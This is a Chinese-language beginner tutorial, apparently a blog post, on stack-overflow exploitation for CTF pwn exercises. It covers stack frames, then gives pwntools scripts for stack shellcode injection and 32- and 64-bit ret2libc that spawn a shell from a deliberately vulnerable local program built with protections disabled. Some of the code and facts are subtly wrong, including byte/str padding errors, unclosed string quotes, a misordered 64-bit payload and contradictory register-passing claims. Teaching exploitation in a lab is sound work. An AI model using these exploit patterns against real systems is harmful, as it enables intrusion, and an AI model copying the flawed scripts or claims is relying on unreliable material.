Re:從零開始的pwn學習(棧溢位篇)

雪痕春风天音九重色發表於2024-10-23

寫在前面:本文旨在幫助剛接觸pwn題的小夥伴少走一些彎路,快速上手pwn題,內容較為基礎,大佬輕噴。本文預設讀者明白最基礎的彙編指令的含義,並且已經配置好linux64位環境,明白基礎的Linux指令。

棧,棧幀與函式呼叫

我們知道,在資料結構中,棧是一種先進後出的資料結構。而在作業系統中,一般使用棧儲存函式的狀態和函式中的區域性變數。
Linux中的棧位於程式記憶體空間的末端,從高地址向低地址生長

棧幀是當一個函式被呼叫時,所擁有的獨立的存放函式狀態和所使用的變數的棧空間,每個函式都對應有一個棧幀,同一個函式多次呼叫,每次可能分配到不同的棧幀。

一個執行中的函式,其棧幀區域被棧基址暫存器(bp)和棧頂暫存器(sp)所限定。

以上為呼叫一個子函式時,子函式的棧幀結構圖(32位),64位基本也是如此,但是有一些細微的不同,之後會提到。

在32位系統中,一個函式被呼叫時,會經過以下過程:

  1. 儲存函式實參
  2. 儲存子函式結束後的返回地址
  3. 儲存父函式棧幀資訊
  4. 在棧上開闢空間供區域性變數使用
  5. 實現函式自身功能
  6. 釋放函式用到的區域性變數空間
  7. 根據儲存的父函式資訊,恢復父函式棧幀
  8. 由儲存的返回地址,恢復父函式執行流

儲存函式實參
func(a,b,c),對應的彙編指令是:

push c
push b
push a

對引數從右向左進行壓棧

儲存子函式結束後返回地址
此時的彙編指令顯示為call func指令,在功能上等價於:

push 當前call指令下一條指令的地址
jmp func

其中,push指令將當前call指令的下一條指令的地址儲存進棧中,這樣,當子函式執行結束後,將可以方便地根據其中儲存的地址恢復原有程式的執行流。
而jmp指令則是跳轉到對應函式的地址。

儲存父函式棧幀資訊
進入func函式內部,此時esp和ebp仍然儲存的是父函式棧幀。
由於子函式中棧空間完全釋放後,esp會回到函式呼叫前狀態,因此只需要儲存ebp資訊即可,將父函式ebp入棧。

push ebp

隨後修改子函式的棧底為當前的esp處

mov ebp,esp

為子函式分配棧空間

sub esp,20h

以上為子函式分配32位元組大小的空間。需要注意棧的增長方向是由高地址向低地址,因此此處做減法

子函式執行完成後回收棧空間

add esp,20h

恢復父函式棧幀
此時esp恢復到剛壓入父函式ebp後的狀態,可以恢復父函式的ebp,從而恢復棧幀

pop ebp

恢復程式執行流

最後,當前棧頂為返回地址,父函式棧資訊已經恢復,根據棧中儲存的返回地址修改程式執行流即可。對應的彙編語句是:

retn

以上即為32位主機中函式棧幀從建立到銷燬的全過程。

而在大多數64位主機遵循的傳參規定中,引數需要透過暫存器進行傳遞,只有當引數多於6個時,多出來的部分才會透過暫存器進行傳遞。暫存器與引數的對應關係如下:

Register Argument
rdi First Argument
rsi Second
rdx third
rcx fourth
r8 fifth
r9 sixth

小試身手

有了以上的理論學習,可以透過以下三道簡單的pwn題,由淺入深地理解pwn中棧溢位的利用。

源程式rop1.c

#include<stdio.h>
#include<unistd.h>
void vuln()
{
    char buf[128];
    read(0,buf,256);
}
int main()
{
    vuln();
    write(1,"hello rop\n",10);
}

透過分析原始碼,我們知道以上程式存在著明顯的棧溢位漏洞,其接收一個大小為128位的陣列,卻允許讀入256個位元組。

所謂的棧溢位,即為:使用者的輸入超過了預先分配好的棧空間,導致一部分資料發生洩漏,覆蓋掉了其他資料,譬如關鍵變數,返回地址等。透過棧溢位漏洞,我們可以修改程式執行流。

以上為棧溢位示意圖,使用者的輸入大於12個位元組,從低地址到高地址依次覆蓋掉了Char* bar,儲存的父函式棧基址,返回地址,並將返回地址寫為一個特定的值。

常見的與棧溢位漏洞相關的函式被稱為危險函式,常見的危險函式包括:
gets(),scanf(),sprintf(),strcpy(),strcat(),read()等,當遇到這些函式時,可以考慮利用棧溢位。

在我們的除錯中,需要用到一個python庫pwntools,透過撰寫指令碼,利用pwntools,可以極大地簡化pwn流程。

  1. python建立並啟用虛擬環境(推薦)
python -m venv .venv
source .venv/bin/activate
  1. 安裝pwntools
pip install pwntools
  1. 測試是否安裝成功
python
from pwn import *

若不報錯,則完成安裝

第一題-棧上執行shellcode實現程式流劫持

在以下三題中,我們的目的都是拿到系統的shell。實驗環境為Ubuntu 24.10

在第一題中,我們的目標是,將我們的shellcode直接寫在棧中,並且將函式的返回地址覆寫為shellcode的地址,從而實現對shellcode的執行。

其原理圖如下:

但是,現代作業系統普遍開啟了棧保護,不允許直接執行棧上的shellcode,因此我們在編譯時需要先關閉棧保護(以執行shellcode),並關閉記憶體地址隨機化(ASLR)

將檔案作為32位檔案編譯,編譯時關閉棧保護

gcc rop1.c -o rop1 -m32 -fno-stack-protector -z execstack

-m32選項指定為32位檔案編譯,-fno-stack-protector關閉棧保護,-z execstack允許在棧上執行shellcode

關閉系統記憶體地址隨機化ASLR

su -
echo 2 | tee /proc/sys/kernel/randomize_va_space

利用pwntools提供的checksec工具,我們可以檢視檔案的保護情況:

checksec rop1

執行所得結果類似下圖所示:

簡單介紹下其中部分引數的含義:

  • Arch: 程式的架構,此處為i386-32-little,說明該程式是32位的,並以小端儲存地址
  • stack-canary: 針對棧溢位的保護機制,在函式開始執行前,在返回地址處寫入一個字長的隨機資料,在函式返回前校驗該值是否改變,若改變則說明發生棧溢位,將程式直接終止。
  • NX: 在現代作業系統中,開啟NX保護後,所有可以被修改寫入shellcode的記憶體都不可執行,所有可以被執行的資料都不可以被修改。此處關閉
  • PIE: 讓可執行程式的地址進行隨機化載入,但是此處不關掉也不會影響做題

有了上述準備工作以後,我們可以開始做題。

透過原始碼,我們知道發生溢位的陣列在vuln陣列內部,因此,我們設定斷點,並反編譯vuln函式

gdb rop1

在gdb處執行

b vuln
r
disass vuln

從彙編程式碼中,我們得到陣列的偏移量,對應[ebp-0x88]中的內容。即為開闢的陣列空間的大小,若輸入大於該大小,則會發生棧溢位。

透過以上原理圖,我們注意到,如果我們希望完成對返回地址的覆蓋,除了陣列的偏移量以外,我們還需要額外加上一個ebp大小的偏移量,用於覆蓋掉父函式棧幀,這樣以後,我們才能將返回地址覆蓋成我們的地址。

因此,我們構建的輸入是這樣的:

payload = 0x88*b'a'+0x4*b'b'+return_addr

注意,此處我們傳入的字元型別需要為bytes,即以位元組流的形式構建payload,否則會出錯

返回地址指向一串能夠能夠呼叫系統shell的shellcode,我們可以藉助pwntools幫助我們生成這一shellcode

shellcode = asm(shellcode.sh())

有了以上的思路以後,我們撰寫指令碼,此時我們還不能確定shellcode的地址,因此我們先引發程式崩潰再做觀察:

from pwn import *
p = process('./rop1')
gdb.attach(p,'b vuln')
shellcode = asm(shellcraft.sh())
shellcode_addr = 0xdeadbeef # 暫且不能確定
payload = shellcode.ljust(0x88,'a')+shellcode.ljust(0x4,'b')+p32(shellcode_addr)
p.sendline(payload)
p.interactive() # 進入互動模式

此時程式崩潰,會自動在當前目錄下生成一個包含程式崩潰資訊的core檔案(也可能沒有,自行google如何在程式崩潰後生成core檔案)

程式崩潰後的棧幀是這樣的:

函式執行結束,回收棧幀,esp指向父函式的棧頂,與陣列後面填充的shellcode距離為陣列大小0x88+兩個暫存器的大小0x4*2,即0x90

為了驗證我們的猜想,我們用gdb附加core檔案,檢視rop1檔案崩潰時的資訊

gdb rop1 core.xxxxxx

在gdb中,檢視esp-0x90處地址的內容

x/s $esp-0x90

jhh開頭的那串字元即為生成的開啟shell的shellcode(可自行驗證)

$esp-0x90即為我們需要的shellcode地址。記錄該地址,並填入指令碼中

完善指令碼,成功獲取到shell:

from pwn import *
p = process('./rop1')
shellcode = asm(shellcraft.sh())
shellcode_addr = your_addr
payload = shellcode.ljust(0x88,'a')+shellcode.ljust(0x4,'b')+p32(shellcode_addr)
p.sendline(payload)
p.interactive() # 進入互動模式

第二題-利用ret2libc實現程式流劫持(32位)

按照以下引數編譯程式:

gcc rop1.c -o rop2 -m32 -fno-stack-protector

第二題在實驗1的基礎上開啟了NX(NO execute)保護,不能直接執行棧上的shellcode。

不能直接執行shellcode,我們能透過別的方式達成目的嗎?可以的,一個程式的執行不可避免地要引用外部共享庫,一個常用的庫是libc庫(Standard C Library),其為GNU/Linux提供了一系列關鍵的函式。若我們能夠透過修改程式執行流,執行libc庫中提供的函式,即可繞過限制。

如圖,我們將子函式原本的返回地址覆寫為libc庫中函式地址,子函式執行結束後,會跳轉到對應函式位置。

透過ldd指令,我們可以檢視檔案所使用的共享庫:

ldd rop2

此處我們選取的libc函式為system函式,引數為/bin/sh,這樣可以調起一個終端。而在本例中,system函式執行結束後的返回地址不重要,因為透過執行函式system,我們已經獲取了shell。

由於我們在本題中已經關閉了ASLR,因此system函式和/bin/sh字串在程式開始執行後,在記憶體中的地址不會發生變化,在開始除錯後可以直接使用gdb查詢這兩個地址:

輸出system函式的地址:

p system 

透過vmmap,我們在gdb中檢視當前記憶體地址對映,確定當前使用的libc.so在記憶體中的起始地址和結束地址,並嘗試在該地址中尋找/bin/sh字串

vmmap

其起始地址為0xf7ccb000,終止地址為0xf7ef4000

用find指令查詢"/bin/sh"字元在libc庫中的位置:

find 0xf7ccb000,0xf7ef4000,"/bin/sh"

結果地址即為所求

明確了目標地址,我們接下來需要確定偏移量,同樣反編譯vuln函式:

陣列大小為0x88,在加上一個ebp大小0x4用於覆蓋掉父函式棧幀,得到最終的偏移量0x8c

有了以上準備工作,我們撰寫以下指令碼,將gdb除錯程序附加到指令碼上:

from pwn import *

p = process('./rop2')
gdb.attach(p,'b main')

sys_addr= int(input("Find out the address of the system function"),16)
binsh_addr= int(input("Find out the address of the /bin/sh string in libc"),16)
payload = b'a'*0x8c + p32(sys_addr)+p32(0xdeadbeef)+p32(binsh_addr) # system函式的返回地址不重要
p.sendline(payload)
p.interactive() # 開啟互動模式

將獲取的地址填入其中,即可拿到shell

第三題-ret2libc(64位)

按照以下引數編譯程式

gcc rop1.c -o rop3 -m64 -fno-stack-protector

複習一下,64位的libc利用與32位的不同,由於引數呼叫約定方式的改變,64位程式在進行函式傳參時,將會將引數透過特定的暫存器傳遞,只有當引數的數量多於6個時,多餘的引數才會透過棧進行傳遞。

引數與暫存器的對應關係:

  1. rdi
  2. rsi
  3. rdx
  4. rcx
  5. r8
  6. r9

而要想透過暫存器傳參,我們需要找到一些特定的小程式碼片段(gadget),透過這些片段,我們將引數從棧彈出到暫存器中,再透過暫存器進行傳參。在本例中,我們需要傳遞的引數只有/bin/sh一個。我們可以尋找類似pop rdi; ret這樣的gadget

原理圖如下所示:

首先我們需要檢視rop3使用的共享庫:

ldd rop3

可以看到,其中用到了libc.so.6庫,正是我們需要的libc。

利用pwntools提供的ROPgadget工具,從對應庫中找出我們需要的gadget

ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | grep rdi

將顯示匹配的結果及其相對於檔案首地址的偏移量

0x000000000002a44e : pop rdi ; pop rbp ; ret
0x000000000002a255 : pop rdi ; ret
0x0000000000129b4d : pop rdi ; ret 0xfff2
0x00000000000f4d6d : pop rdi ; ret 0xffff

引數地址和系統函式地址的獲取方式和32位的獲取方式相同,此處不在贅述。

關於偏移量的計算,需要注意,64位的偏移量與32位的不盡相同,需要重新計算,反編譯vuln函式:

此處,陣列偏移量為0x80,為了覆蓋返回地址,還需要加上一個rbp大小,即0x8,故總偏移量為0x88

有了以上資訊,可以開始寫指令碼:

from pwn import *
p = process('./rop3')
gdb.attach(p,'b main')
sys_addr=int(input("Input the address of the system function: ),16)
binsh_addr=int(input("Input the address of the string /bin/sh: ),16)
pr_addr =int(input("Input the address of the gadget: "),16)
payload = b'a' * 0x80+b'b'*0x8+p64(pr_addr)+p64(binsh_addr)+p64(sys_addr)+p64(0xdeadbeef)
p.sendline(payload)
p.interactive()

執行指令碼。此時可能執行失敗(如果你的system函式的地址不以0結尾)。此處涉及到一個細節,即:64位作業系統中的主流編譯器要求進行棧對齊,即,呼叫函式的地址需要能夠被16整除。

知道了原因以後,我們需要讓system函式的呼叫地址+8或者-8位元組,這樣才能完成對齊。通常,我們透過插入一條ret的gadget完成操作

在libc.so.6中尋找ret

ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only 'ret' | grep ret

以下修改後的指令碼:

from pwn import *

p=process('./rop3')                                           
gdb.attach(p,'b main')                                                                          
system_addr = int(input("Enter the address of the system function: "),16)
binsh_addr = int(input("Find the address of the '/bin/sh' string in libc.so.6: "),16)

offset1 = 0x000000000011903c
gadget_start_addr = int(input("Enter the start address of libc.so.6: "),16)
gadget_addr = gadget_start_addr+offset1

offset2 = 0x0000000000028a93
ret_addr = gadget_start_addr+offset2

payload = b'a'*0x80 + b'b'*0x8 + p64(gadget_addr)+p64(ret_addr)+p64(binsh_addr)+p64(system_addr)+p64(0xdeadbeef)
p.sendline(payload)
p.interactive()

以上,若有遺漏或錯誤,懇請各位大佬指出。希望能幫對pwn感興趣的小夥伴少走彎路!

相關文章